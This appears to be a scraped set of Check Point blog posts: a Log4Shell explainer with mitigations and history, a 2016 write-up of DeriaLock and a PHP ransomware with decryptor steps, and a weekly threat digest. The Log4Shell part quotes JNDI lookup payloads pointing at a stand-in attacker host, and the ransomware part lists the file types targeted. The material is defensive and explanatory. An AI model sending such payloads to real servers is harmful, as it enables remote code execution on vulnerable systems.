• CheckPoint.com
• 
• 
• 
• 
• 
• 

How does an exploit for Log4Shell work exactly? What do “jndi” and “ldap” mean?

JNDI is a Java feature which allows Java objects to be loaded and used by a Java program during runtime. One of JNDI’s supported protocols for incoming Java objects is LDAP, an open-source, vendor-neutral protocol for “accessing directory information”, which you can also use to speak to your friendly neighborhood installation of MS Active Directory. LDAP and its Data Interchange Format (LDIF) were created at the University of Michigan in 1992, and if you squint at them enough, they almost look like some sort of proto-nosql.

The log4j2 module’s homebrew “lookups” language supports retrieveing objects via JNDI. The string ${ jndi:ldap://evil.com/malware} means: “please use JNDI to retrieve and run the Java class residing at evil.com/malware; you will receive the class in LDAP protocol response format”. It should be noted that while only the ${ jndi:ldap://...} attack variant has become a proper viral meme, there are milder variants of the attack such as e.g.  ${ jndi:dns://...} which will make a crafted DNS request to a server of the attacker’s choice, and can be used to cause unauthorized information disclosure.

As part of their response guide, the Swiss CERT produced a visualization of the attack which we find very elucidating, and is reproduced below.

How can I protect myself against Log4Shell?

First, we encourage you to browse the above-mentioned Swiss CERT response guide in its entirety, including the list of recommended actions. Second, you should appreciate that these many and varied countermeasures are all presented for a reason, and no single one of them is a silver bullet. To wit:

• Your favorite security vendor’s IPS or WAF will repel the proverbial “script kiddies” copy-pasting vanilla ${ jndi:...} strings, and probably many more “clever” variations, and this is indeed an important layer of security to have. Still, it is also important to understand the inherent limitations of these solutions. These (very likely) won’t evaluate log4j2 lookup language when inspecting input; as a rule of thumb if a security product doesn’t fully evaluate incoming input, but the target of the input does, the result is a cat-and-mouse game with the mouse at an advantage. These are stopgaps, even if powerful ones, and should be used in conjunction with other mitigations.
• Applying patches to vulnerable Java applications will work insofar that the developers of these applications have issued patches. It happens that software is abandoned by its maintainers, or at least abandoned enough that a patch for a disclosed vulnerability will take weeks or months to come by. 
• Globally disabling trust of remote codebases only blocks the most outrageous form of the attack that uses loading of an external Java object via LDAP, but not the more subtle variants. Further, this feature is not available on all JVMs, and if you actually go and do it manually, common sense says you should be ready for the possibility that you break something, somewhere. Since this mitigation has been available and on by default for a while in updated versions of Java 8 and later, if simply updating the Java version is feasible you might want to go that route instead.
• Disabling the JNDI feature inside log4j2 through the configuration is the closest thing to a clean solution, but is not available in some earlier versions of log4j2. In these versions, the closest analogue is surgical removal of the JNDI lookup feature class (via the incantation: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class), though this seems like an invitation for the application to choke and die instead of enabling an RCE.

Each individual mitigation on the list has its holes and drawbacks, but jointly, these items constitute something like the swiss cheese model of pandemic defense. 

How and Why did this happen? How do we make sure it doesn’t happen again?

The story goes more or less like this.

In March of 1999, 8 developers working on the Apache web server form the Apache Software Foundation (ASF), a nonprofit with the goal of supporting open source projects. Under the guidance of the ASF, the original log4j sees its alpha release about half a year later, and a stable release follows about a year after that, in early 2001. Development on the original log4j continues until 2005 or so; in 2006, a new project named “LogBack” appears, introducing itself as a “successor [..] which picks up where log4j 1.X left off” and offering various performance and quality of life improvements. In 2012, log4j experiences an unlikely renaissance, as several developers come together to create a rewrite of it which becomes the initial alpha version of log4j2. Two months later, log4j2 publishes a beta release; it is during this beta phase that one of the project early adopters creates a feature request for support of JNDI as a very convenient feature, detailing several use cases for it and even offering an already-written patch containing an implementation. 5 days after the request is submitted, a project maintainer laconically approves the merge request: “Your patch was committed in revision 1504620. Please verify and close”.

8 years later, which is to say, last month, the Alibaba cloud security team discreetly reaches out to the ASF in order to disclose the existence of the log4shell vulnerability. Public disclosure follows a few weeks later in a tweet (that has since been deleted), including source code for a working exploit. All hell breaks loose and the xkcd comic below is posted to social media thirty thousand times. 

Patches are issued, JVMs are updated, incident response teams over the world contemplate a career of cabbage farming someplace quiet in Canada. One of the log4j2 project maintainers complains:

Response is overwhelmingly supportive. The occasional dissenter insists that there was no “need” to keep anything and “compatibility” is the root of all evil, or at least in this case, in hindsight, it was. Passers-by wonder if the ASF hasn’t been paying the maintainers of log4j2, what has it been doing exactly.

Natural human instinct is to blame someone, and maybe for good reason. A lot of problems in the world are in fact the fault of specific people being selfish or short-sighted, and can be solved by taking these people to task. Still, it’s worth remembering that a lot of other problems in the world are caused by impersonal forces that push around individuals like cogs in a machine, seemingly without regard for their theoretical free will. How many times in history has a developer, even a well-paid developer, approved a feature request like this, despite a tingling sense of unease that the feature seems too powerful and vaguely out of scope for the project? The first security professional, tasked with securing a cave some time in the stone age, probably complained about this on their first day. It seems to keep happening no matter how many times we point the blaming finger at people after the fact. No one is very excited to deal with angry users, colleagues, managers and have to explain to them “no, everyone, trust me, I prevented a catastrophe”.

The emergence of the OpenSSL Heartbleed vulnerability in 2014 kindled a keen interest in taking better care of starved and understaffed open source projects that are cornerstones of modern digital infrastructure, as visualized in the comic above. Surely, this even worse incident will have a similar effect. But maybe the most profound effect of this whole ordeal on the future will be its weight as a cautionary tale. Three weeks ago, the average developer faced with a demand to have software evaluate arbitrary expressions for an extra “convenient” feature would have been the helpless cog in the machine, pressured to comply, with no recourse but to issue vague theoretical warnings that this is not the Right Thing To Do. But from today on, that developer can and should respond: “No. Are you serious? Do you want to cause the next Log4Shell?”

Ransomware is one of the most common and effective attack methods today, and it seems this trend isn’t going to change anytime soon. This last November, we found that ransomware attacks are surging, with our Global Threat Index showing that the number of ransomware attacks using Locky and Cryptowall increased by 10%.

Today, Check Point’s Threat Intelligence Team reveals two new ransomware samples that were found in the wild, but also the decryption solutions which can help victims retrieve their lost data free of charge.

Check Point is an Associate Partner of the No More Ransom (NMR) project, which aims to fight back against the ransomware epidemic. As such, our new decryption tools will be available for public use as part of the project.

1 – DeriaLock: Ransomware Evolving Within Hours

DeriaLock is an interesting case of ransomware evolving right in front of our eyes. When it first appeared on December 24, 2016, it was nothing more than a screen-locker, designed to take control of your screen and prevent you from accessing to your computer. It was a nuisance but didn’t cause any real damage to your files. Two days later, another variant was discovered. This time, it added a file encryption mechanism, threatening that if you restart your computer in an attempt to regain control, DeriaLock would delete all your files.

As Karsten Hahn, the malware analyst who first discovered DeriaLock, pointed out on Twitter, this was an empty threat. That is, until a few hours later, when the latest variation of DeriaLock appeared and delivered on it. The current version of the ransomware includes all of these capabilities: screen lock, file encryption and deletion of files following a reboot.

Right now, the ransom demand is only $30, not very high compared to other ransomware out there in the wild. Check Point researchers have found a way to exploit several flaws in its implementation and created a decryption tools that helps you recover your files and avoid payment altogether.

How to retrieve your files?

Please use the below decryption tool with caution.

\n
1. The decryptor is effective for the current version of the ransomware. As security companies and hackers are in an eternal cat and mouse chase, there is a chance that the attackers will remediate their vulnerabilities which allowed us to decrypt the files. Therefore, Check Point does not take responsibility for unsuccessful attempts to decrypt files using this tool.
\n
2. Before initiating the decryption process we recommend backing up your hard-disk.
\n
3. Make sure you are familiar with the specific procedure for how to reach to your safe mode during rebooting.
\n
4. If you fail to get into safe mode ALL YOUR FILES WILL BE DELETED.
\n

User manual:

After reading and familiarizing yourself with the cautions –

\n
1. Restart the computer into safe-mode
\n
2. Go to C:\\users\\%user name%\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\
\n
3. Look for either LOGON.exe or SystemLock.exe and delete them.
\n

(the ‘Date Modified’ of them would be the infection date)

\n
1. Restart the computer again
\n
2. Download and execute the decryptor
\n
3. Click the “I PAY GET MY FILES BACK NOW!” button.
\n

2 – PHP Ransomware

We have also discovered in the wild a new ransomware in the form of a PHP script. We first encountered it when accessing the domain hxxp://med-lex[.]com. Although the PHP ransomware encrypts the victim’s files, it’s tricky to call it a “ransomware” per-se.

Unlike the majority of the widely-spread ransomware samples, the script does not show any ransom note nor does it attempt to receive a payment in order to grant a decryptor. Rather, it only encrypts the files without offering any option to retrieve them. There is also no attempt made to communicate with a command and control server, which usually enables tracking the number of infected machines, downloading executables, or other malignant activities.

The new sample starts by scanning the system recursively. When it encounters a directory, it checks its subfolders for relevant files, to find out if any of their extensions are of the following:

zip, rar, r00 ,r01 ,r02 ,r03, 7z, tar, gz, gzip, arc, arj, bz, bz2, bza, bzip ,bzip2, ice, xls, xlsx, doc, docx, pdf ,djvu ,fb2,rtf, ppt, pptx, pps, sxi, odm, odt, mpp, ssh, pub, gpg, pgp, kdb, kdbx, als, aup, cpr, npr, cpp, bas, asm, cs, php, pas, class, py, pl, h, vb ,vcproj, vbproj, java, bak, backup, mdb, accdb, mdf, odb, wdb, csv, tsv, sql, psd, eps, cdr, cpt, indd, dwg, ai, svg, max, skp, scad, cad, 3ds, blend, lwo, lws, mb, slddrw, sldasm, sldprt, u3d, jpg, jpeg, tiff, tif, raw, avi, mpg, mp4, m4v, mpeg, mpe, wmf, wmv, veg, mov, 3gp, flv, mkv, vob, rm, mp3, wav, asf, wma, m3u, midi, ogg, mid, vdi, vmdk, vhd, dsk, img, iso                                                                                                

If one of the files matches the above extensions, the script changes the access permissions and enables the owner along with other users to read, write and execute the file. The script proceeds to read the first 2048 bytes of the matched file, and while the rest of it remains intact, the initial excerpt is encrypted. If the file’s size is smaller than 2048 bytes, it will be encrypted entirely. Additionally, a “.crypted” extension is added to the file’s name without omitting the original one.

How to decrypt your files?

 Even though the encryption seems irreparable at first, we were able to develop a decryptor which allows victims of the PHP ransomware to restore their original files without difficulty.

Note: The decryptor is effective for versions of the current of the ransomware. As security companies and hackers are in an eternal cat and mouse chase, there is a chance that the attackers will remediate their vulnerabilities which allowed us to decrypt the files. Therefore, Check Point does not take responsibility for unsuccessful attempts to decrypt files using this tool.

\n
1. Download the decryptor to the infected device
\n
2. Execute the decryptor – once it starts running it will look for affected files and revert them to their original form
\n

To read more about Check Point’s role in the No More Ransom Project, click here.

The post How We Found Two New Ransomware Families and Built Their Decryptors appeared first on Check Point Blog.

TOP ATTACKS AND BREACHES

• Check Point Research has conducted a joint investigation into an ongoing and highly targeted campaign against China’s Uyghur minority, using messages and sites impersonating UN and human rights groups. The attackers deployed malware capable of exfiltrating information and gaining control of victim PCs.
• The Russian-based hackers behind the SolarWinds attacks have been conducting an ongoing phishing campaign targeting government agencies, think tanks, and consultants. The campaign started in January 2021 when the group started delivering malicious links while impersonating the US Agency for International Development (USAID). Researchers have linked the threat actors with APT29. In those attacks, the hackers deployed four new malware families.
  Tags: #APT #Government
• Researchers have observed a new wave of the BazarCall phishing campaign that delivers the BazarLoader malware and manages to bypass automated threat detection systems. The hackers impersonate a streaming service, claiming that the user’s trial is about to expire and their credit card will be charged.

  Check Point AntiBot provides protection against this threat (Trojan-Downloader.Win64.BazarLoader)

• A threat group dubbed CryptoCore has stolen hundreds of millions of dollars from the US, Israel, Europe, and Japan entities over the past three years, by breaching cryptocurrency exchanges and collecting funds. Researchers have linked the campaign to the Korean state-sponsored group Lazarus.
  Tags: #APT
• Since December 2020, Agrius, an Iranian-based threat actor, has targeted Israeli entities in a targeted espionage campaign. The hackers masqueraded their campaign as ransomware attacks while maintaining access to victims' networks for months and deployed the DEADWOOD and Apostle wipers.
  Tags: #Ransomware
• Canada's national mail carrier had suffered a ransomware attack on one of its suppliers that had impacted 44 of its largest corporate customers, and compromising the data of more than 950,000 clients. The threat actors managed to steal information dating from July 2016 to March 2019.
  Tags: #Ransomware

VULNERABILITIES AND PATCHES

• HPE has released a fix for a critical vulnerability, CVE-2020-7200, in the HPE SIM (Systems Insight Manager) software. The vulnerability affects the latest versions (7.6.x) on Windows devices and allows attackers with no privileges to exploit it in low complexity attacks.
  
  Check Point IPS blade provides protection against this threat (HPE Insight Manager Insecure Deserialization (CVE-2020-7200))
• Severe security flaws have been discovered in Visual Studio code extensions, which are in use by millions of users. The vulnerabilities could be utilized to run arbitrary code on a developer's system remotely, in what could ultimately pave the way for supply chain attacks.
• SonicWall has been urging its customers to patch CVE-2021-20026, which impacts the Network Security Manager (NSM) multi-tenant firewall management solution. This post-authentication vulnerability allows an attacker to perform OS command injection without user interaction.
• VMware has warned of a critical vulnerability tracked as CVE-2021-21985 that affects all vCenter Server installs. This remote code execution vulnerability can be used by anyone who can reach the vCenter Server over the network to gain access.

THREAT INTELLIGENCE REPORTS

• Researchers have observed the XCSSET spyware exploiting CVE-2021-30713, a critical vulnerability in macOS, which allows an attacker to take screenshots of the user’s desktop without requiring additional permissions. The vulnerability was patched by Apple in the latest version of macOS, Big Sur 11.4.

Check Point SandBlast and Anti-Virus provide protection against this threat (Trojan.Mac.XCSSET; XCSSET)

• Researchers have discovered about 50,000 IP addresses compromised by the TeamTNT threat group in a campaign against Kubernetes clusters. The campaign took place between March and May and hit mostly China and the US. After compromising the system, the hackers deployed a custom tool and then the XMRig Monero miner.

Check Point Anti-Virus provides protection against those threats (Cryptominer.Win32.TeamTNT; TS_Miner.Win32.XMRig)

Tags: #Cloud

• The number of cyberattacks targeting the Asia Pacific region has increased by 168% in the past year, according to Check Point Research. The malware types that were most common in those attacks were ransomware and remote access Trojan (RAT), and Japan and Singapore were the most targeted countries.
• Check Point Research has exposed the IcedID botnet infrastructure and tracked the activity of its C&C servers. The researchers leveraged the botnet’s use of self-signed certificates to uncover the servers, and have gained access to extensive campaign information.

Check Point AntiBot provides protection against this threat (Trojan-Downloader.Win32.IcedID)